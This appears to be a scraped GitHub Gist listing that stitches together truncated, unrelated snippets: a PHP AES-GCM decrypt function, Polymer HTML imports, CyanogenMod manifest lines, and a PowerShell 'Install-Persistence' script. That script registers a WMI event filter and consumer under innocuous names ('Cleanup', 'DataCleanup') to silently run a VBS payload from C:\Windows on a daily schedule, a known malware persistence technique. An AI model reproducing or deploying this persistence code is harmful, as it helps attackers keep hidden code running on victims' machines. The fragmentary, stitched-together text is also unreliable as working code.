Skip to content

Instantly share code, notes, and snippets.

<?php
{ENCRYPT_PHP_FUNCTION}
function decrypt($base64IvCiphertext, $base64Key) {
$ivCiphertext = base64_decode($base64IvCiphertext);
$key = base64_decode($base64Key);
$method = 'aes-256-gcm';
$iv = substr($ivCiphertext, 0, 12);
$tag = substr($ivCiphertext, -16);
123asd234
@bkr32
bkr32 / NT.ps1
Last active November 9, 2019 15:21
function Install-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "C:\Windows\System32\WScript.exe /NoLogo /B C:\Windows\winx64.vbs"
# Create event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 10 AND TargetInstance.Minute = 29 GROUP WITHIN 60 "
<link rel="import" href="shared-styles.html">
<link rel="import" href="../bower_components/polymerfire/polymerfire.html" >
<link rel="import" href="../bower_components/polymer/polymer.html">
<link rel="import" href="../bower_components/paper-input/paper-input.html" >
<link rel="import" href="../bower_components/paper-input/paper-textarea.html" >
<link rel="import" href="../bower_components/iron-input/iron-input.html" >
<link rel="import" href="../bower_components/paper-dropdown-menu/paper-dropdown-menu.html" >
<link rel="import" href="../bower_components/paper-item/paper-item.html" >
<link rel="import" href="../bower_components/paper-card/paper-card.html" >
<link rel="import" href="../bower_components/paper-fab/paper-fab.html" >
<!--
@license
Copyright (c) 2016 The Polymer Project Authors. All rights reserved.
This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt
The complete set of authors may be found at http://polymer.github.io/AUTHORS.txt
The complete set of contributors may be found at http://polymer.github.io/CONTRIBUTORS.txt
Code distributed by Google as part of the polymer project is also
subject to an additional IP rights grant found at http://polymer.github.io/PATENTS.txt
-->
QCOM-NEW
<project name="CyanogenMod/android_hardware_qcom_fm" path="hardware/qcom/fm" remote="github" />
<project name="CyanogenMod/android_hardware_qcom_display-caf-new" path="hardware/qcom/display-caf-new" remote="github" />
<project name="CyanogenMod/android_hardware_qcom_media-caf-new" path="hardware/qcom/media-caf-new" remote="github" />
Manifest for Peregrine
<?xml version="1.0" encoding="UTF-8"?>
<manifest>
<project name="CyanogenMod/android_device_motorola_peregrine" path="device/motorola/peregrine" remote="github" />